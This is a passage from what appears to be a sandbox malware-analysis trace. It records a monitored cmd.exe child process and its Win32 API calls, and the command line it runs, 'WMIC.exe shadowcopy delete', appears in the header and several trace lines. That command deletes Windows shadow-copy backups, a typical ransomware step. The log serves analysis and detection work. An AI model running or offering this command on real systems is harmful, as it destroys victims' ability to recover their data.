	os_tid = 0x65c


Thread:
	id = 93
	os_tid = 0x5e0


Thread:
	id = 94
	os_tid = 0x664


Thread:
	id = 95
	os_tid = 0xb0


Thread:
	id = 96
	os_tid = 0x5b4


Thread:
	id = 97
	os_tid = 0x20c


Thread:
	id = 98
	os_tid = 0x7e4


Thread:
	id = 99
	os_tid = 0x540


Thread:
	id = 100
	os_tid = 0x538


Thread:
	id = 101
	os_tid = 0x52c


Thread:
	id = 102
	os_tid = 0x264


Thread:
	id = 103
	os_tid = 0x1cc


Thread:
	id = 104
	os_tid = 0x3c0


Thread:
	id = 105
	os_tid = 0x3b8


Thread:
	id = 106
	os_tid = 0x3a8


Thread:
	id = 107
	os_tid = 0x2fc


Thread:
	id = 108
	os_tid = 0x2f8


Thread:
	id = 109
	os_tid = 0x2d4


Thread:
	id = 110
	os_tid = 0x2cc


Thread:
	id = 139
	os_tid = 0x310


Thread:
	id = 140
	os_tid = 0x124


Thread:
	id = 594
	os_tid = 0x10f4


Thread:
	id = 1227
	os_tid = 0x194c


Process:
	id = "16"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x3198c000"
	os_pid = "0x36c"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "5"
	os_parent_pid = "0x434"
	cmd_line = "cmd /c \"WMIC.exe shadowcopy delete\""
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 115
	os_tid = 0x408

	[0151.447] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26fdf0 | out: lpSystemTimeAsFileTime=0x26fdf0*(dwLowDateTime=0x3d5a2f40, dwHighDateTime=0x1d5cdef)) 
	[0151.447] GetCurrentProcessId () returned 0x36c
	[0151.447] GetCurrentThreadId () returned 0x408
	[0151.447] GetTickCount () returned 0x116a094
	[0151.447] QueryPerformanceCounter (in: lpPerformanceCount=0x26fdf8 | out: lpPerformanceCount=0x26fdf8*=29300732029) returned 1
	[0151.449] GetModuleHandleW (lpModuleName=0x0) returned 0x4a320000
	[0151.450] __set_app_type (_Type=0x1) 
	[0151.450] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a347810) returned 0x0
	[0151.450] __getmainargs (in: _Argc=0x4a36a608, _Argv=0x4a36a618, _Env=0x4a36a610, _DoWildCard=0, _StartInfo=0x4a34e0f4 | out: _Argc=0x4a36a608, _Argv=0x4a36a618, _Env=0x4a36a610) returned 0
	[0151.451] GetCurrentThreadId () returned 0x408
	[0151.452] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x408) returned 0x3c
	[0151.835] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0151.835] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40
	[0151.835] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0151.837] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0151.837] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x26fd88 | out: phkResult=0x26fd88*=0x0) returned 0x2
	[0151.837] VirtualQuery (in: lpAddress=0x26fd70, lpBuffer=0x26fcf0, dwLength=0x30 | out: lpBuffer=0x26fcf0*(BaseAddress=0x26f000, AllocationBase=0x170000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0151.838] VirtualQuery (in: lpAddress=0x170000, lpBuffer=0x26fcf0, dwLength=0x30 | out: lpBuffer=0x26fcf0*(BaseAddress=0x170000, AllocationBase=0x170000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0151.838] VirtualQuery (in: lpAddress=0x171000, lpBuffer=0x26fcf0, dwLength=0x30 | out: lpBuffer=0x26fcf0*(BaseAddress=0x171000, AllocationBase=0x170000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0151.838] VirtualQuery (in: lpAddress=0x174000, lpBuffer=0x26fcf0, dwLength=0x30 | out: lpBuffer=0x26fcf0*(BaseAddress=0x174000, AllocationBase=0x170000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0151.838] VirtualQuery (in: lpAddress=0x270000, lpBuffer=0x26fcf0, dwLength=0x30 | out: lpBuffer=0x26fcf0*(BaseAddress=0x270000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x60000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30
	[0151.838] GetConsoleOutputCP () returned 0x1b5
	[0151.838] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a35bfe0 | out: lpCPInfo=0x4a35bfe0) returned 1
	[0151.840] SetConsoleCtrlHandler (HandlerRoutine=0x4a343184, Add=1) returned 1
	[0151.840] _get_osfhandle (_FileHandle=1) returned 0x7
	[0151.840] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1
	[0151.841] _get_osfhandle (_FileHandle=1) returned 0x7
	[0151.841] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a34e194 | out: lpMode=0x4a34e194) returned 1
	[0151.843] _get_osfhandle (_FileHandle=1) returned 0x7
	[0151.843] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0151.843] _get_osfhandle (_FileHandle=0) returned 0x3
	[0151.844] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a34e198 | out: lpMode=0x4a34e198) returned 1
	[0151.844] _get_osfhandle (_FileHandle=0) returned 0x3
	[0151.845] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1
	[0151.845] GetEnvironmentStringsW () returned 0x2e8a30*
	[0151.846] GetProcessHeap () returned 0x2d0000
	[0151.846] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xa7c) returned 0x2e94c0
	[0151.846] FreeEnvironmentStringsW (penv=0x2e8a30) returned 1
	[0151.846] GetProcessHeap () returned 0x2d0000
	[0151.847] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x8) returned 0x2e88b0
	[0151.847] GetEnvironmentStringsW () returned 0x2e8a30*
	[0151.847] GetProcessHeap () returned 0x2d0000
	[0151.847] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xa7c) returned 0x2e9f50
	[0151.847] FreeEnvironmentStringsW (penv=0x2e8a30) returned 1
	[0151.848] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x26ec48 | out: phkResult=0x26ec48*=0x44) returned 0x0
	[0151.848] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x26ec40, lpData=0x26ec60, lpcbData=0x26ec44*=0x1000 | out: lpType=0x26ec40*=0x0, lpData=0x26ec60*=0x18, lpcbData=0x26ec44*=0x1000) returned 0x2
	[0151.848] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x26ec40, lpData=0x26ec60, lpcbData=0x26ec44*=0x1000 | out: lpType=0x26ec40*=0x4, lpData=0x26ec60*=0x1, lpcbData=0x26ec44*=0x4) returned 0x0
	[0151.848] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x26ec40, lpData=0x26ec60, lpcbData=0x26ec44*=0x1000 | out: lpType=0x26ec40*=0x0, lpData=0x26ec60*=0x1, lpcbData=0x26ec44*=0x1000) returned 0x2
	[0151.848] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x26ec40, lpData=0x26ec60, lpcbData=0x26ec44*=0x1000 | out: lpType=0x26ec40*=0x4, lpData=0x26ec60*=0x0, lpcbData=0x26ec44*=0x4) returned 0x0
	[0151.849] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x26ec40, lpData=0x26ec60, lpcbData=0x26ec44*=0x1000 | out: lpType=0x26ec40*=0x4, lpData=0x26ec60*=0x40, lpcbData=0x26ec44*=0x4) returned 0x0
	[0151.849] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x26ec40, lpData=0x26ec60, lpcbData=0x26ec44*=0x1000 | out: lpType=0x26ec40*=0x4, lpData=0x26ec60*=0x40, lpcbData=0x26ec44*=0x4) returned 0x0
	[0151.849] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x26ec40, lpData=0x26ec60, lpcbData=0x26ec44*=0x1000 | out: lpType=0x26ec40*=0x0, lpData=0x26ec60*=0x40, lpcbData=0x26ec44*=0x1000) returned 0x2
	[0151.849] RegCloseKey (hKey=0x44) returned 0x0
	[0151.849] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x26ec48 | out: phkResult=0x26ec48*=0x44) returned 0x0
	[0151.849] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x26ec40, lpData=0x26ec60, lpcbData=0x26ec44*=0x1000 | out: lpType=0x26ec40*=0x0, lpData=0x26ec60*=0x40, lpcbData=0x26ec44*=0x1000) returned 0x2
	[0151.850] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x26ec40, lpData=0x26ec60, lpcbData=0x26ec44*=0x1000 | out: lpType=0x26ec40*=0x4, lpData=0x26ec60*=0x1, lpcbData=0x26ec44*=0x4) returned 0x0
	[0151.850] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x26ec40, lpData=0x26ec60, lpcbData=0x26ec44*=0x1000 | out: lpType=0x26ec40*=0x0, lpData=0x26ec60*=0x1, lpcbData=0x26ec44*=0x1000) returned 0x2
	[0151.850] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x26ec40, lpData=0x26ec60, lpcbData=0x26ec44*=0x1000 | out: lpType=0x26ec40*=0x4, lpData=0x26ec60*=0x0, lpcbData=0x26ec44*=0x4) returned 0x0
	[0151.850] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x26ec40, lpData=0x26ec60, lpcbData=0x26ec44*=0x1000 | out: lpType=0x26ec40*=0x4, lpData=0x26ec60*=0x9, lpcbData=0x26ec44*=0x4) returned 0x0
	[0151.850] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x26ec40, lpData=0x26ec60, lpcbData=0x26ec44*=0x1000 | out: lpType=0x26ec40*=0x4, lpData=0x26ec60*=0x9, lpcbData=0x26ec44*=0x4) returned 0x0
	[0151.850] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x26ec40, lpData=0x26ec60, lpcbData=0x26ec44*=0x1000 | out: lpType=0x26ec40*=0x0, lpData=0x26ec60*=0x9, lpcbData=0x26ec44*=0x1000) returned 0x2
	[0151.851] RegCloseKey (hKey=0x44) returned 0x0
	[0151.851] time (in: timer=0x0 | out: timer=0x0) returned 0x5e22e68d
	[0151.851] srand (_Seed=0x5e22e68d) 
	[0151.851] GetCommandLineW () returned="cmd /c \"WMIC.exe shadowcopy delete\""
	[0151.851] GetCommandLineW () returned="cmd /c \"WMIC.exe shadowcopy delete\""
	[0151.852] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a35c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0151.852] GetProcessHeap () returned 0x2d0000
	[0151.852] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x218) returned 0x2ea9e0
	[0151.852] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2ea9f0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0151.853] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0151.853] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0151.853] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0151.853] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0151.853] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0151.853] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0151.853] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0151.853] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0151.853] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0151.853] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0151.853] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0151.853] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0151.854] GetProcessHeap () returned 0x2d0000
	[0151.854] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e94c0 | out: hHeap=0x2d0000) returned 1
	[0151.854] GetEnvironmentStringsW () returned 0x2e8a30*
	[0151.854] GetProcessHeap () returned 0x2d0000
	[0151.854] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xa94) returned 0x2eb6a0
	[0151.855] FreeEnvironmentStringsW (penv=0x2e8a30) returned 1
	[0151.855] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0151.855] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0151.855] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0151.855] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0151.855] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0151.855] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0151.855] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0151.855] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0151.855] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0151.855] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0151.855] GetProcessHeap () returned 0x2d0000
	[0151.856] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x38) returned 0x2e6450
	[0151.856] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x26fa50 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0151.856] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x26fa50, lpFilePart=0x26fa30 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x26fa30*="system32") returned 0x13
	[0151.856] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0151.856] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x26f760 | out: lpFindFileData=0x26f760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe90000e9, cFileName="Windows", cAlternateFileName="")) returned 0x2d1320
	[0151.857] FindClose (in: hFindFile=0x2d1320 | out: hFindFile=0x2d1320) returned 1
	[0151.857] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x26f760 | out: lpFindFileData=0x26f760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefd85d60, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd85d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe90000e9, cFileName="System32", cAlternateFileName="")) returned 0x2d1320
	[0151.857] FindClose (in: hFindFile=0x2d1320 | out: hFindFile=0x2d1320) returned 1
	[0151.857] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0151.858] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1
	[0151.858] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1
	[0151.858] GetProcessHeap () returned 0x2d0000
	[0151.858] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eb6a0 | out: hHeap=0x2d0000) returned 1
	[0151.858] GetEnvironmentStringsW () returned 0x2e8a30*
	[0151.858] GetProcessHeap () returned 0x2d0000
	[0151.858] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xac4) returned 0x2eac00
	[0151.858] FreeEnvironmentStringsW (penv=0x2e8a30) returned 1
	[0151.858] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a35c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0151.858] GetProcessHeap () returned 0x2d0000
	[0151.858] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e6450 | out: hHeap=0x2d0000) returned 1
	[0151.858] GetProcessHeap () returned 0x2d0000
	[0151.858] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x4016) returned 0x2ecc10
	[0151.860] GetProcessHeap () returned 0x2d0000
	[0151.860] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x4e) returned 0x2eb6d0
	[0151.860] GetProcessHeap () returned 0x2d0000
	[0151.860] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x4010) returned 0x2f0c30
	[0151.861] GetProcessHeap () returned 0x2d0000
	[0151.861] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x4010) returned 0x2f4c50
	[0152.459] _wcsnicmp (_String1="WMIC", _String2="cmd ", _MaxCount=0x4) returned 20
	[0152.462] GetProcessHeap () returned 0x2d0000
	[0152.462] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x420) returned 0x2eb730
	[0152.462] SetErrorMode (uMode=0x0) returned 0x8001
	[0152.462] SetErrorMode (uMode=0x1) returned 0x0
	[0152.463] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2eb740, lpFilePart=0x26f910 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x26f910*="system32") returned 0x13
	[0152.463] SetErrorMode (uMode=0x8001) returned 0x1
	[0152.463] GetProcessHeap () returned 0x2d0000
	[0152.463] RtlReAllocateHeap (Heap=0x2d0000, Flags=0x0, Ptr=0x2eb730, Size=0x6e) returned 0x2eb730
	[0152.463] GetProcessHeap () returned 0x2d0000
	[0152.463] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eb730) returned 0x6e
	[0152.463] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0152.464] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0152.464] GetProcessHeap () returned 0x2d0000
	[0152.464] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x104) returned 0x2eb7b0
	[0152.464] GetProcessHeap () returned 0x2d0000
	[0152.464] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x1f8) returned 0x2eb8c0
	[0152.771] GetProcessHeap () returned 0x2d0000
	[0152.771] RtlReAllocateHeap (Heap=0x2d0000, Flags=0x0, Ptr=0x2eb8c0, Size=0x106) returned 0x2eb8c0
	[0152.772] GetProcessHeap () returned 0x2d0000
	[0152.772] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eb8c0) returned 0x106
	[0152.772] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0152.772] GetProcessHeap () returned 0x2d0000
	[0152.772] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xe8) returned 0x2eb9e0
	[0152.773] RtlReAllocateHeap (Heap=0x2d0000, Flags=0x0, Ptr=0x2eb9e0, Size=0x7e) returned 0x2eb9e0
	[0152.774] GetProcessHeap () returned 0x2d0000
	[0152.774] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eb9e0) returned 0x7e
	[0152.774] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0152.774] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x26f680, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f680) returned 0xffffffffffffffff
	[0152.793] GetLastError () returned 0x2
	[0152.793] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe shadowcopy delete.*", fInfoLevelId=0x1, lpFindFileData=0x26f680, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f680) returned 0xffffffffffffffff
	[0152.793] GetLastError () returned 0x2
	[0152.794] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x26f680, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f680) returned 0xffffffffffffffff
	[0152.794] GetLastError () returned 0x2
	[0152.794] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0152.795] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x26f680, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f680) returned 0xffffffffffffffff
	[0152.795] GetLastError () returned 0x2
	[0152.795] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe shadowcopy delete.*", fInfoLevelId=0x1, lpFindFileData=0x26f680, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f680) returned 0xffffffffffffffff
	[0152.796] GetLastError () returned 0x2
	[0152.796] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x26f680, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f680) returned 0xffffffffffffffff
	[0152.800] GetLastError () returned 0x2
	[0152.800] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0152.801] FindFirstFileExW (in: lpFileName="C:\\Windows\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x26f680, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f680) returned 0xffffffffffffffff
	[0152.801] GetLastError () returned 0x2
	[0152.802] FindFirstFileExW (in: lpFileName="C:\\Windows\\WMIC.exe shadowcopy delete.*", fInfoLevelId=0x1, lpFindFileData=0x26f680, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f680) returned 0xffffffffffffffff
	[0152.802] GetLastError () returned 0x2
	[0152.802] FindFirstFileExW (in: lpFileName="C:\\Windows\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x26f680, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f680) returned 0xffffffffffffffff
	[0152.803] GetLastError () returned 0x2
	[0152.803] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0152.803] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x26f680, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f680) returned 0xffffffffffffffff
	[0152.804] GetLastError () returned 0x2
	[0152.804] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.exe shadowcopy delete.*", fInfoLevelId=0x1, lpFindFileData=0x26f680, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f680) returned 0xffffffffffffffff
	[0152.804] GetLastError () returned 0x2
	[0152.805] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x26f680, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f680) returned 0xffffffffffffffff
	[0152.805] GetLastError () returned 0x2
	[0152.805] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0152.806] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x26f680, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f680) returned 0xffffffffffffffff
	[0152.810] GetLastError () returned 0x2
	[0152.810] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WMIC.exe shadowcopy delete.*", fInfoLevelId=0x1, lpFindFileData=0x26f680, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f680) returned 0xffffffffffffffff
	[0153.317] GetLastError () returned 0x2
	[0153.317] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x26f680, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f680) returned 0xffffffffffffffff
	[0153.322] GetLastError () returned 0x2
	[0153.323] GetConsoleOutputCP () returned 0x1b5
	[0153.324] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a35bfe0 | out: lpCPInfo=0x4a35bfe0) returned 1
	[0153.324] GetUserDefaultLCID () returned 0x409
	[0153.325] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a357b50, cchData=8 | out: lpLCData=":") returned 2
	[0153.325] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x26fb60, cchData=128 | out: lpLCData="0") returned 2
	[0153.325] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x26fb60, cchData=128 | out: lpLCData="0") returned 2
	[0153.325] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x26fb60, cchData=128 | out: lpLCData="1") returned 2
	[0153.326] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a36a740, cchData=8 | out: lpLCData="/") returned 2
	[0153.326] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a36a4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0153.326] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a36a460, cchData=32 | out: lpLCData="Tue") returned 4
